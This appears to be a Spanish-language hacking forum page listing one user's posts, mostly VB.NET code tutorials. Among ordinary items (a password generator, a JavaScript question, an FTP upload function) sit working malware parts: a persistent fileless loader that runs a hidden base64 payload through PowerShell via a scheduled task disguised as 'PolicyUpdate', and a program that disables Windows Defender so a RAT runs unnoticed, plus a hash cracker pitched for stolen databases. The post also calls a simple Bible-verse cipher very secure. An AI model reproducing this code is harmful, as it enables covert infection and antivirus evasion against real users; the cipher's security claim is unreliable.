Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Temas - 79137913

Páginas: [1] 2 3 ... 5
1
HOLA!!!

Hoy veremos como crear un Generador de Contraseñas Seguras con VB.NET!

1)Primero crearemos el proyecto


2)Luego en el Form1 Realizar la siguente interfaz (respetando los nombres de los controles):

y luego poner las propiedades .Text de la siguiente forma:


3)Vamos a la seccion de codigo del formulario y pegamos lo siguiente:
Código: vb.net
  1. 'By 79137913 for http://underc0de.org
  2. Module ControlArray
  3.     'creamos un Array de controles con los botones asi es mas facil manejarlos.
  4.     Public Chars() As Button = {Form1.Char1, Form1.Char2, Form1.Char3, Form1.Char4, Form1.Char5, Form1.Char6, Form1.Char7, Form1.Char8, Form1.Char9, Form1.Char10, Form1.Char11, Form1.Char12, Form1.Char13, Form1.Char14, Form1.Char15, Form1.Char16}
  5. End Module
  6. Public Class Form1
  7.     Dim Sym() As String = Split("/ \ ! · $ % & / ( ) = ' "" ¡ ¿ ? < > . , : ; - _ * +") 'Simbolos
  8.     Private Function PalabrasPronunciables7913(Letras As Long) As String
  9.         Dim Aux As Long 'Caracteres restantes
  10.         Dim Act As Long 'Variable para hacer aleatorio el select
  11.         Dim Ret As String = "" 'Variable de retorno
  12.         Dim Uno() As String : Dim Dos() As String 'Variables de almacenamiento de silabas
  13.         Dim Tre() As String : Dim Tr2() As String : Dim Tr3() As String 'Variables de almacenamiento de silabas
  14.         Dim Cua() As String : Dim Cu2() As String : Dim Cin() As String 'Variables de almacenamiento de silabas
  15.         Randomize() 'Utilizado para que las combinaciones siempre sean diferentes
  16.         Uno = Split("a e i o u")
  17.         Dos = Split("ab ad ak al am an ar as az ba be bi bo bs bu da de di do du ed ef ek el em en er es fa fe fi fo fu ga ge gi go gu ia id ie im in ir is iz ja je ji jo ju ka que ki ko ku la le li lo lu ma me mi mo mu na ne ni nn no nu ña ñe ñi ño ñu ob oi ok ol on op or os pa pe pi po pu qa ra re ri ro ru sa se si so ss su ta te ti to tu ud ue ui uk ul um un ur us xa xe xi xo xu ya ye yi yo yu za ze zi zo")
  18.         Tre = Split("abs bad bal ban bar bas bea bed bel ben ber bes bia bid bie bik bil bin bir bis bla ble bli blo boa boi bol bom bor bos boz bra bre bri bro bru bue bui bul bur bus cha che chi cho chu dad dak dam dan dar das dea ded del den der des dez dia did die dir dis doa doi don dop dor dos dra dre dri dro dru dua due duk dum duo dur duz eks fad fak fal fan far fas fek fen fer fes fia fid fie fil fin fir fis fla flo flu fon for fra fre fri fue fui fun gad gal gan gar gas gem gen ger ges gia gid gie gil gir gis gla gle glo gol gon gor gos gra gre gri gro gru gua gue güi gun guo gus ian ias ier ils ins jad jak jal jan jar jas jaz jed jem jen jer jes jia jid jie jir jis jon jor jos jue")
  19.         Tr2 = Split("jun jus juz kad kal kam kan kar kas kea kel ken kes kez kia kie kin kis kla kle kli klo klu koe kol kom kon kor kos kot kra kre kri kro kru kua kue kui kul kum kun kuo kur lad lan lar las lea led lek len ler les lez lia lie lim lin lir lis lla lle lli llo lom lon lor los lua lud lue lum lun lus lus mad mak mal man mar mas mea med mek men mer mes mez mia mid mie mil min mir mis miz mon mor mos mue mui mul mun nad nal nan nar nas naz nea ned nen ner nes net nez nia nid nie nin nir nis nom nor nos noz nua nue nui nun nuo ñad ñak ñan ñar ñas ñed ñen ñes ñia ñir ñis ñol ñor ños oia oid oim oir ois pad pak pal pan par pas paz pea pek pel pen per pes pez pia pie pin pis pla ple")
  20.         Tr3 = Split("pli plo pon por pos pra pre pri pro pru pue pul pun pur pus rad rak ral ran rar ras raz rea red rek ren res rez ria rid rie rir ris roa roe ron ros rra rre rri rro rru run sad sak sal san sar sas saz sea sed sek sem sen sep ser ses sia sie sig sil sim sin sir sis soi sol son sor sos sua sub sul sun sur sus tad tal tam tan tar tas tea ted tek tem ten ter tes tia tid tie tin tir tis toi ton tor tos tra tre tri tro tru tua tud tue tui tum tun tuo tur tus tut ueb uel ues uia uid uin uir uis xak xan xar xas xed xen xer xes xia xid xie xir xis xue xun yad yan yar yas yek yen yer yes yor yos yun zad zad zam zan zar zas zea zed zen zep zer zes zia zid zie zin zir zis zit zon zos")
  21.         Cua = Split("bean beas biad bian biar bias biem bien bier bies blad blan blar blas blen bles blos brad bran brar bras bren bres bria brid brie bril brin brir bris bron bros buel buen buia buid buir buis chad chan char chas chen ches chis chos deas diad dial dian diar dias dien dies diez doem doin drad dran drar dras dren dres dria drid dron duad duan duar duas duen duer dues fiad fian fiar fias fien fies flek flik flui fran fras fren fres fria frie frir fron fuel fuen fuer fuis giad giar gias gien gies glad glan glar glas glen gles grad gran grar gras gren gres gris gros guad gual guan guar guas guen gues guez jiad jian jiar jias jien jies joan juez kear kers kiad kian kiar kief kien kier kies king klad klan klar klas klea klen kles klos klui koin kons krea kred kren krer kres krez kria krie kruz kuad kual kuam kuan kuar kuas kuel kuen kuer kues kuns lead")
  22.         Cu2 = Split("lean lear leas lian liar lias lien lies llad llan llar llas llen lles llon llos luar mean mear meas mian mias miem mien mier muer mues neas nian nias nien nuad nuan nuar nuas nuen nues nuia nuid nuir nuis nuks ñias oian oias pers piad pian piar pias pien pier pies plan plas plea plen ples plid plie plir plis plus prad prak pran prar pras pren prer pres prie prin proe proi prok prue puer pues reas riad rial rian riar rias rien ries rins rrad rran rrar rras rrea rred rrek rren rrer rres rria rrid rrie rrin rrir rris rrom rrue sead sean sear seas sian sias siem sien soft sual tead tean tear teas teks ters tial tian tias tiem tien tlan trad tral tram tran trar tras tren tres trol tros tros trui truk tuad tual tuan tuar tuas tuen tuer tues tuia tuid tuir tuis uian uias xian xias xien zead zean zear zeas ziad zial zian ziar zias ziem zien zier zies")
  23.         Cin = Split("brean brian brias buian buias drian drias fluen fluia fluid fluir fluis frian frias frien fries kluia kluid kluir kluis kread krean krear kreas kriad krian kriar krias krien kries nuian nuias plead plean plear pleas plian plias plien rreak rreal rrian rriar rrias rrien rries trans truia truid truir truis tuian tuias fluian fluias kluian kluias truian truias")
  24.         Do
  25.             Aux = Letras - Ret.Length
  26.             If Aux <= 0 Then Return Ret
  27.             If Aux > 5 Then
  28.                 Act = Int(Rnd() * 5) + 1
  29.             Else
  30.                 Act = Int(Rnd() * Aux) + 1
  31.             End If
  32.             Select Case Act
  33.                 Case 1
  34.                     Ret = Ret & Uno(Int(Rnd() * 5))
  35.                 Case 2
  36.                     Ret = Ret & Dos(Int(Rnd() * 130))
  37.                 Case 3
  38.                     Select Case Int(Rnd() * 3)
  39.                         Case 0
  40.                             Ret = Ret & Tre(Int(Rnd() * 170))
  41.                         Case 1
  42.                             Ret = Ret & Tr2(Int(Rnd() * 170))
  43.                         Case 2
  44.                             Ret = Ret & Tr3(Int(Rnd() * 170))
  45.                     End Select
  46.                 Case 4
  47.                     Select Case Int(Rnd() * 2)
  48.                         Case 0
  49.                             Ret = Ret & Cua(Int(Rnd() * 171))
  50.                         Case 1
  51.                             Ret = Ret & Cu2(Int(Rnd() * 171))
  52.                     End Select
  53.                 Case 5
  54.                     Ret = Ret & Cin(Int(Rnd() * 59))
  55.             End Select
  56.         Loop
  57.     End Function
  58.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  59.         For Each bt As Button In Me.Controls.OfType(Of Button)()
  60.             'Poner los event handlers de cada boton en el mismo sub.
  61.             AddHandler bt.Click, AddressOf ButtonChar_Click
  62.         Next
  63.         Password.Text = MakePass()
  64.     End Sub
  65.     Private Sub ButtonChar_Click(sender As Object, e As EventArgs)
  66.         Dim bt = DirectCast(sender, Button)
  67.         'Cambiamos el Texto del boton
  68.         Select Case bt.Text
  69.             Case "A"
  70.                 bt.Text = "a"
  71.             Case "a"
  72.                 bt.Text = "Aa"
  73.             Case "Aa"
  74.                 bt.Text = "0"
  75.             Case "0"
  76.                 bt.Text = "$"
  77.             Case "$"
  78.                 bt.Text = "X"
  79.             Case "X"
  80.                 bt.Text = "A"
  81.         End Select
  82.         Password.Text = MakePass() 'Creamos una contraseña
  83.     End Sub
  84.     Private Function MakePass() As String
  85.         Dim AuxString As String = ""
  86.         Dim AuxPass As String = "xxxxxxxxxxxxxxxx"
  87.         Dim FlagProcesar As Boolean = False
  88.         For x = 0 To 15
  89.             'Armar Pass
  90.             Select Case Chars(x).Text
  91.                 Case "A"
  92.                     AuxString = AuxString & Chars(x).Text
  93.                 Case "a"
  94.                     AuxString = AuxString & Chars(x).Text
  95.                 Case "Aa"
  96.                     'Elegir aleatoriamente mayuscula o minuscula
  97.                     If Int(Rnd() * 2) Then
  98.                         AuxString = AuxString & "A"
  99.                     Else
  100.                         AuxString = AuxString & "a"
  101.                     End If
  102.                 Case "0"
  103.                     'Elegimos aleatoriamente el numero
  104.                     Mid(AuxPass, x + 1, 1) = Int(Rnd() * 10)
  105.                     FlagProcesar = True
  106.                 Case "$"
  107.                     'Elegimos aleatoriamente el simbolo
  108.                     Mid(AuxPass, x + 1, 1) = Sym(Int(Rnd() * 26))
  109.                     FlagProcesar = True
  110.                 Case "X"
  111.                     FlagProcesar = True
  112.             End Select
  113.             If FlagProcesar Then
  114.                 Mid(AuxPass, x + 1 - AuxString.Length, AuxString.Length) = PalabrasPronunciables7913(AuxString.Length)
  115.                 For y = 1 To AuxPass.Length
  116.                     If Mid(AuxString, y, 1) = "A" Then
  117.                         Mid(AuxPass, x - AuxString.Length + y, 1) = UCase(Mid(AuxPass, x - AuxString.Length + y, 1))
  118.                     End If
  119.                 Next
  120.                 AuxString = ""
  121.                 FlagProcesar = False
  122.                 If Chars(x).Text = "X" Then
  123.                     AuxPass = Mid(AuxPass, 1, x)
  124.                     Exit For
  125.                 End If
  126.             End If
  127.         Next
  128.         Return AuxPass
  129.     End Function
  130. End Class
  131.  

Cuando ya colocamos el codigo solo queda iniciar (apretar F5) y empezar a usarlo solo clickeamos los botones para elegir el patron de texto que queremos para nuestra contraseña y la magia comienza:


Descargar Source: http://www.mediafire.com/file/nskimjoztb12cjk/Safe_Password_Creator.rar

Hecho y redactado por 79137913

Agradecimientos @Antrax

Para los curiosos:
En esta edicion tenemos 2 cosas muy interesantes, la primera, como crear arrays de controles y como unir los handlers a un solo sub y la segunda es la funcion PalabrasPronunciables7913 que te permite obtener palabras pronunciables de cualquier largo, puede ser muy util si son creativos.

GRACIAS POR LEER!!!

2
C# - VB.NET / Crea tu propio HashCracker en VBNet en solo 3 Pasos
« en: Septiembre 09, 2019, 10:07:09 am »
HOLA!!!

Imaginemos que utilizando el AdminFinder que programamos hace un tiempo encontramos una web y nos hicimos con su base de datos, ¡Pero todas sus contraseñas estan en MD5 o SHA1! ¿Que podemos hacer? Para esto utilizaremos la tool que crearemos en esta edicion y ademas el Creador de diccionarios para Fuerza Bruta que hicimos con anterioridad.

Hoy veremos como crear un HashCracker con VB.NET!

1)Primero crearemos el proyecto


2)Luego en el Form1 Realizar la siguente interfaz (respetando los nombres de los controles)[ademas agregaremos un OpenFileDialog llamado OpenFileDialog1 y dos BackgroundWorkers llamados bwSHA1 y bwMD5]:


2.b)Establecemos las propiedades text de los componentes para que queden de la siguiente manera:


3)Pegamos el siguiente codigo:
Código: vb.net
  1. Imports System.ComponentModel
  2. Imports System.IO
  3. Imports System.Security.Cryptography
  4. Imports System.Text
  5.  
  6. Public Class Form1
  7.  
  8.  
  9.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  10.         'Deshabilitamos el TextBox txtPathDiccionario para que no puedan escribir a mano en el.
  11.         txtPathDiccionario.Enabled = False
  12.         'Aplicamos filtro en el Dialogo de Seleccion de Archivo para que solo muestre archivos de texto
  13.         OpenFileDialog1.Filter = "Archivos de Texto|*.txt;*.text"
  14.     End Sub
  15.  
  16.     Private Sub btnDict_Click(sender As Object, e As EventArgs) Handles btnDict.Click
  17.         ' Mostramos el Dialogo de Seleccion de Archivo
  18.         Dim result As DialogResult = OpenFileDialog1.ShowDialog()
  19.         'Verificamos que el archivo haya sido seleccionado, si no fue asi, salimos
  20.         If result <> DialogResult.OK Then Exit Sub
  21.         'Escribimos la ubicacion del archivo en el TextBox
  22.         txtPathDiccionario.Text = OpenFileDialog1.FileName
  23.         'Indicamos que nuestros BW reportan progreso
  24.         bw.WorkerReportsProgress = True
  25.     End Sub
  26.  
  27.     Private Sub btnInit_Click(sender As Object, e As EventArgs) Handles btnInit.Click
  28.         'Deshabilitamos los controles para que no se cambie su contenido durante la ejecucion
  29.         txtHash.Enabled = False
  30.         radSHA1.Enabled = False
  31.         radMD5.Enabled = False
  32.         btnInit.Enabled = False
  33.         btnDict.Enabled = False
  34.         'Iniciamos BW
  35.         bw.RunWorkerAsync()
  36.     End Sub
  37.  
  38.     Private Sub bw_DoWork(sender As Object, e As DoWorkEventArgs) Handles bw.DoWork
  39.         'Verificamos la cantidad de lineas para mantener un conteo del progreso
  40.         Dim CantidadLineas = File.ReadAllLines(txtPathDiccionario.Text).Length
  41.         Dim LineaActual As Long = 0
  42.         'Creamos una lector para el archivo de diccionario
  43.         Dim reader As StreamReader = My.Computer.FileSystem.OpenTextFileReader(txtPathDiccionario.Text)
  44.         Dim ClaveActual As String = ""
  45.         Dim HashActual As String = ""
  46.         'Hacemos un bucle linea por linea verificando si coincide el hash con alguna del las claves en el diccionario
  47.         Do
  48.             ClaveActual = reader.ReadLine
  49.             If ClaveActual Is Nothing Then Exit Sub 'Si llegamos al final del archivo salimos.
  50.             'Ejecutamos la creacion del hash correspondiente
  51.             If radMD5.Checked = True Then HashActual = generarMD5(ClaveActual)
  52.             If radSHA1.Checked = True Then HashActual = generarSHA1(ClaveActual)
  53.             'Verificamos si coincide
  54.             If txtHash.Text = HashActual Then
  55.                 'Si el hash corresponde con el generado notificamos al usuario
  56.                 MsgBox("Clave encontrada: """ & ClaveActual & """ (sin comillas).")
  57.                 'Terminamos el Loop
  58.                 Exit Do
  59.             End If
  60.             'Actualizacion de progreso
  61.             LineaActual = LineaActual + 1
  62.             If LineaActual > CantidadLineas / 100 Then
  63.                 bw.ReportProgress(LineaActual / CantidadLineas * 100)
  64.                 LineaActual = 0
  65.             End If
  66.         Loop
  67.         reader.Close()
  68.     End Sub
  69.  
  70.     Private Sub bw_ProgressChanged(sender As Object, e As ProgressChangedEventArgs) Handles bw.ProgressChanged
  71.         'Actualizamos el porcentaje del Progressbar
  72.         ProgressBar1.Value += e.ProgressPercentage
  73.     End Sub
  74.  
  75.     Private Sub bw_RunWorkerCompleted(sender As Object, e As RunWorkerCompletedEventArgs) Handles bw.RunWorkerCompleted
  76.         'Rehabilitamos los controles.
  77.         txtHash.Enabled = True
  78.         radSHA1.Enabled = True
  79.         radMD5.Enabled = True
  80.         btnInit.Enabled = True
  81.         btnDict.Enabled = True
  82.         ProgressBar1.Value = 0
  83.         MsgBox("Proceso completado")
  84.     End Sub
  85.  
  86.     Function generarMD5(ByVal str As String) As String
  87.         'Funcion de generacion de hash MD5
  88.         Dim Bytes() As Byte
  89.         Dim sb As New StringBuilder()
  90.         If String.IsNullOrEmpty(str) Then Return ""
  91.         Bytes = Encoding.Default.GetBytes(str)
  92.         Bytes = MD5.Create().ComputeHash(Bytes)
  93.         For x As Integer = 0 To Bytes.Length - 1
  94.             sb.Append(Bytes(x).ToString("x2"))
  95.         Next
  96.         Return sb.ToString()
  97.     End Function
  98.  
  99.     Function generarSHA1(ByVal str As String) As String
  100.         'Funcion de generacion de hash SHA1
  101.         Dim sha1Obj As New Security.Cryptography.SHA1CryptoServiceProvider
  102.         Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(str)
  103.         bytesToHash = sha1Obj.ComputeHash(bytesToHash)
  104.         Dim strResult As String = ""
  105.         For Each b As Byte In bytesToHash
  106.             strResult += b.ToString("x2")
  107.         Next
  108.         Return strResult
  109.     End Function
  110. End Class

Para utilizar solo elijan el archivo de diccionario, pongan el hash a crackear y presionen iniciar.

Ahora es tu turno, podes agregarle nuevos tipos de hash o inclusive convertirlo en una herramienta de criptografia completa.

Para los curiosos y como un proyecto de fin de semana los invito a modificar este programa para que pueda hacer busqueda de varios hashes al mismo tiempo.

Descargar: http://www.mediafire.com/file/uztm3corwv4hqk2/HashCracker.rar/file

GRACIAS POR LEER!!!

3
HOLA!!!

Chicos les paso este código muy bueno que armé para ejecutar un payload desde powershell a traves de VBNET con recursos, solo poner el payload en My.Resources.PYLD
Ademas es persistente.
Código: vb.net
  1. Public Class Program
  2.     Public Shared Sub Main()
  3.         Dim Payload As String = Nothing
  4.         Try
  5.             'Convierto recurso a B64
  6.             PYLDSTR= Convert.ToBase64String(My.Resources.PYLD)
  7.         Catch ex As Exception
  8.         End Try
  9.         Try
  10.             'Guardamos en el registro para luego levantarlo
  11.             Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\PYLDAPP").SetValue("PYLD", PYLDSTR)
  12.         Catch ex As Exception
  13.         End Try
  14.         Dim PS As String = Nothing
  15.         Try
  16.             PS = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)"
  17.             'guardamos el task como PolicyUpdate
  18.             Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
  19.                 .FileName = "schtasks",
  20.                 .Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
  21.                 .CreateNoWindow = True,
  22.                 .ErrorDialog = False,
  23.                 .WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
  24.                 })
  25.         Catch ex As Exception
  26.         End Try
  27.     End Sub
  28. End Class

GRACIAS POR LEER!!!

4
HOLA!!!

Les paso este codigo recien terminado para deshabilitar Windows defender en tiempo de ejecucion.

Vieron que Windows defender es casi tan histerico como Avira, suele saltar por casi cualquier cosa, solo ejecuten este codigo antes que su RAT y se va a ejecutar sin problemas sin que WD moleste.

[El metodo deshabilita Windows defender y la distribucion de muestras sin mostrar ninguna notificacion ni reiniciar la pc todo instantaneo y bonito]

Código: vb.net
  1. Imports System
  2. Imports Microsoft.Win32
  3. Imports System.Diagnostics
  4. Imports System.Security.Principal
  5.  
  6. Namespace DeshabilitarWD
  7.     Class Programa
  8.         Private Shared Sub Main()
  9.             If Not New WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) Then Return
  10.             EditarRegistro("SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0")
  11.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1")
  12.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1")
  13.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessProtection", "1")
  14.             EditarRegistro("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", "1")
  15.             CheckDefender()
  16.         End Sub
  17.  
  18.         Private Shared Sub CheckDefender()
  19.             Dim proc As Process = New Process With {
  20.                 .StartInfo = New ProcessStartInfo With {
  21.                     .FileName = "powershell",
  22.                     .Arguments = "Get-MpPreference -verbose",
  23.                     .UseShellExecute = False,
  24.                     .RedirectStandardOutput = True,
  25.                     .WindowStyle = ProcessWindowStyle.Hidden,
  26.                     .CreateNoWindow = True
  27.                 }
  28.             }
  29.             proc.Start()
  30.  
  31.             While Not proc.StandardOutput.EndOfStream
  32.                 Dim line As String = proc.StandardOutput.ReadLine()
  33.  
  34.                 If line.Contains("DisableRealtimeMonitoring") AndAlso line.Contains("False") Then
  35.                     Pwrshll("Set-MpPreference -DisableRealtimeMonitoring $true")
  36.                 ElseIf line.Contains("DisableBehaviorMonitoring") AndAlso line.Contains("False") Then
  37.                     Pwrshll("Set-MpPreference -DisableBehaviorMonitoring $true")
  38.                 ElseIf line.Contains("DisableBlockAtFirstSeen") AndAlso line.Contains("False") Then
  39.                     Pwrshll("Set-MpPreference -DisableBlockAtFirstSeen $true")
  40.                 ElseIf line.Contains("DisableIOAVProtection") AndAlso line.Contains("False") Then
  41.                     Pwrshll("Set-MpPreference -DisableIOAVProtection $true")
  42.                 ElseIf line.Contains("DisablePrivacyMode") AndAlso line.Contains("False") Then
  43.                     Pwrshll("Set-MpPreference -DisablePrivacyMode $true")
  44.                 ElseIf line.Contains("SignatureDisableUpdateOnStartupWithoutEngine") AndAlso line.Contains("False") Then
  45.                     Pwrshll("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true")
  46.                 ElseIf line.Contains("DisableArchiveScanning") AndAlso line.Contains("False") Then
  47.                     Pwrshll("Set-MpPreference -DisableArchiveScanning $true")
  48.                 ElseIf line.Contains("DisableIntrusionPreventionSystem") AndAlso line.Contains("False") Then
  49.                     Pwrshll("Set-MpPreference -DisableIntrusionPreventionSystem $true")
  50.                 ElseIf line.Contains("DisableScriptScanning") AndAlso line.Contains("False") Then
  51.                     Pwrshll("Set-MpPreference -DisableScriptScanning $true")
  52.                 ElseIf line.Contains("SubmitSamplesConsent") AndAlso Not line.Contains("2") Then
  53.                     Pwrshll("Set-MpPreference -SubmitSamplesConsent 2")
  54.                 ElseIf line.Contains("MAPSReporting") AndAlso Not line.Contains("0") Then
  55.                     Pwrshll("Set-MpPreference -MAPSReporting 0")
  56.                 ElseIf line.Contains("HighThreatDefaultAction") AndAlso Not line.Contains("6") Then
  57.                     Pwrshll("Set-MpPreference -HighThreatDefaultAction 6 -Force")
  58.                 ElseIf line.Contains("ModerateThreatDefaultAction") AndAlso Not line.Contains("6") Then
  59.                     Pwrshll("Set-MpPreference -ModerateThreatDefaultAction 6")
  60.                 ElseIf line.Contains("LowThreatDefaultAction") AndAlso Not line.Contains("6") Then
  61.                     Pwrshll("Set-MpPreference -LowThreatDefaultAction 6")
  62.                 ElseIf line.Contains("SevereThreatDefaultAction") AndAlso Not line.Contains("6") Then
  63.                     Pwrshll("Set-MpPreference -SevereThreatDefaultAction 6")
  64.                 End If
  65.             End While
  66.         End Sub
  67.  
  68.         Private Shared Sub Pwrshll(ByVal args As String)
  69.             Dim proc As Process = New Process With {
  70.                 .StartInfo = New ProcessStartInfo With {
  71.                     .FileName = "powershell",
  72.                     .Arguments = args,
  73.                     .WindowStyle = ProcessWindowStyle.Hidden,
  74.                     .CreateNoWindow = True
  75.                 }
  76.             }
  77.             proc.Start()
  78.         End Sub
  79.  
  80.         Private Shared Sub EditarRegistro(ByVal regPath As String, ByVal name As String, ByVal value As String)
  81.             Try
  82.  
  83.                 Using key As RegistryKey = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree)
  84.  
  85.                     If key Is Nothing Then
  86.                         Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord)
  87.                         Return
  88.                     End If
  89.  
  90.                     If key.GetValue(name) <> CObj(value) Then key.SetValue(name, value, RegistryValueKind.DWord)
  91.                 End Using
  92.  
  93.             Catch
  94.             End Try
  95.         End Sub
  96.  
  97.     End Class
  98. End Namespace
  99.  


GRACIAS POR LEER!!!

5
HOLA!!!

Necesitaria saber como lograr hacer un checkeo constante sin detener la ejecucion de funciones asincronas.

Código: Javascript
  1.             $$.post(baseurl + 'AppRRPP/GetLugar', { x: "x" }, function (dataX) {
  2.                 idlugarRRPP = dataX;
  3.             });
  4.             $$.get(baseurl + "Encargados/HorList", {}, function (dataY) {
  5.                 ListaHorarios = dataY.split("/");
  6.             });
  7.             $$.get(baseurl + "Encargados/BenList", {}, function (dataZ) {
  8.                 ListaBeneficios = dataZ.split("/");
  9.             });
  10.             $$.get(baseurl + "Encargados/EntList", {}, function (dataO) {
  11.                 ListaEntradas = dataO.split("/");
  12.             });
  13.             $$.post(baseurl + 'AppRRPP/GetLimit', { x: "x" }, function (dataP) {
  14.                 ListaLimit = dataP;
  15.                 LimitE = ListaLimit.split("||")[0].split("/");
  16.                 LimitB = ListaLimit.split("||")[1].split("/");
  17.             });
  18.  
  19. //este codigo de aqui abajo debo ejecutarlo cada segundo
  20.             if ((idlugarRRPP == 0 || ListaHorarios[0] != "null" || ListaBeneficios[0] != "null" || ListaEntradas[0] != "null" || ListaLimit.length < 2)==false) {
  21.                //cuando se entra aqui todas las funciones asincronas han terminado de ejecutarse
  22.                //ejecutar codigo de timeout
  23.             }
  24.  
  25.  
  26. //el codigo de aqui abajo cuando hayan pasado 15 segundos o si el codigo de arriba dio true
  27.             if (idlugarRRPP == 0 || ListaHorarios[0] != "null" || ListaBeneficios[0] != "null" || ListaEntradas[0] != "null" || ListaLimit.length < 2) {
  28.                 mainView.router.back();
  29.                 myApp.alert("Su sesion expiro - Verifique conexion a internet", '---');
  30.             } else { mainView.router.loadPage(data + ".html");}
  31.  
  32.  

GRACIAS POR LEER!!!

6
Criptografía / [APORTE] Cifrado con salmos o libros.
« en: Septiembre 25, 2018, 12:39:30 pm »
Cifrando textos con salmos
[/b][/color]

Habran visto en varias peliculas que utilizan la biblia para cifrar mensajes, aqui les mostrare uno de los metodos, cabe aclarar que es un metodo muy antiguo pero facil de realizar y aparte muy seguro.

Comenzaremos con el metodo de cifrado basico que utilizaremos, sera un metodo de suma y sustitucion de caracteres con un alfabeto de 26 letras, osea la ñ sera n en todos los casos y no habra "ll" ni "ch".

Para empezar Cifraremos el siguiente mensaje: "Viva Underc0de"
Con el salmo 1:4 "No así los malos, Que son como el tamo que arrebata el viento."

Primero convertiremos las letras a numeros y nos quedará asi:
Mensaje:
V  I  V  A  U  N  D  E  R  C  O  D  E
22-09-22-01-21-14-04-05-18-03-15-04-05

Salmo:
N  O  A  S  I  L  O  S  M  A  L  O  S
14-15-01-19-09-12-15-19-13-01-12-15-19


Noten que en el salmo solo convertimos los caracteres necesarios ni mas ni menos.

Una vez que tenemos los numeros procedemos a sumarlos:
36-24-23-20-30-26-19-24-31-04-27-19-24

Si algun numero supera 26 (es decir si es 27 o mas) le restamos 26 y nos queda asi:
10-24-23-20-04-26-19-24-05-04-01-19-24

Y ahora convertimos esos numeros a letras nuevamente:
JXWTDZSXEDASX

Le agregamos el salmo que elegimos, delante y atras y ya tenemos nuestro mensaje cifrado:
1JXWTDZSXEDASX4

Ahora a descifrar:
1- Convertimos a numeros las letras del mensaje cifrado:

J  X  W  T  D  Z  S  X  E  D  A  S  X
10-24-23-20-04-26-19-24-05-04-01-19-24


2- Convertimos a numeros las letras del salmo 1:4 (primer y ultimo caracter):
N  O  A  S  I  L  O  S  M  A  L  O  S
14-15-01-19-09-12-15-19-13-01-12-15-19


3- Restamos al mensaje cifrado el salmo:
(-4)-09-22-01-(-5)-14-04-05-(-8)-03-(-11)-04-05

4- Sumamos 26 a los numeros que sean negativos
22-09-22-01-21-14-04-05-18-03-15-04-05

5- Convertimos a Letras:
V  I  V  A  U  N  D  E  R  C  O  D  E
22-09-22-01-21-14-04-05-18-03-15-04-05


Esa es la esencia del cifrado, ahora unas notas para que sepan:

Si el mensaje es muy largo:

a- Si el mensaje es muy largo en vez de usar una fraccion de salmo (1:4) usamos un salmo entero(1) y solo ponemos un numero en la frase cifrada.

b- Si los caracteres del salmo (o la fraccion) son menos que los caracteres del mensaje cifrado, volvemos a repetir el salmo textualmente a continuacion del mismo para hacer crecer la clave de cifrado.

Variaciones:
a- Este cifrado puede usarse con libros comunes que tengas vos y tu objetivo, por ejemplo digamos que tenemos 10 libros que numeramos con anterioridad del 1 al 10 y cada libro tiene 300 hojas. Podemos usar la clave de cifrado asi: [numero de libro]Mensaje[Numero de hoja], tengan en cuenta que los libros deben ser de las mismas editoriales y ediciones para que no varien los textos.

Recomendaciones:
Este cifrado es muy dificil de descifrar aunque sea por expertos, pero para que sea mas eficaz tomen en cuenta las siguientes recomendaciones:
a- Quiten los espacios.
b- Si quieren incluir numeros en el cifrado escribanlos en letras.
c- NUNCA repitan la clave
d- Si pueden hagan alguna clave para el numero de salmo, por ejemplo +1 +1, entonces si usamos el salmo 1:4 como en el ejemplo quedaria asi 2JXWTDZSXEDASX5.

Tabla de Suma(Cifrado) y Resta(Descifrado):


7
Visual Basic / [VB6] Funcion para subir Archivos FTP mediante Inet
« en: Julio 11, 2018, 09:24:28 am »
HOLA!!!

Funcion (requiere un control Inet llamado Inet):
Código: Visual Basic
  1. Private Function SubirFTP(ByVal URL As String , ByVal Usuario As String , ByVal Clave As String , ByVal RutaArchivoLocal As String , ByVal RutaArchivoRemoto As String) As Boolean
  2.     On Error Goto ErrSubirFTP:
  3.     With Inet1
  4.         .UserName = Usuario
  5.         .Password = Clave
  6.         .Execute URL, "PUT " & RutaArchivoLocal & " " & RutaArchivoRemoto
  7.  
  8.         Do While .StillExecuting
  9.             DoEvents
  10.         Loop
  11.  
  12.         SubirFTP= (.ResponseCode = 0)
  13.     End With
  14.     Exit Function
  15. ErrSubirFTP:
  16.     SubirFTP = False
  17. End Function
  18.  

Para llamar a la Funcion:
Código: Visual Basic
  1. UploadFile "ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt"

Para hacer un Debug del resultado de la subida:
Código: Visual Basic
  1. Debug.Print UploadFile ("ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt")

Para hacer un Mensaje de texto del resultado de la subida:
Código: Visual Basic
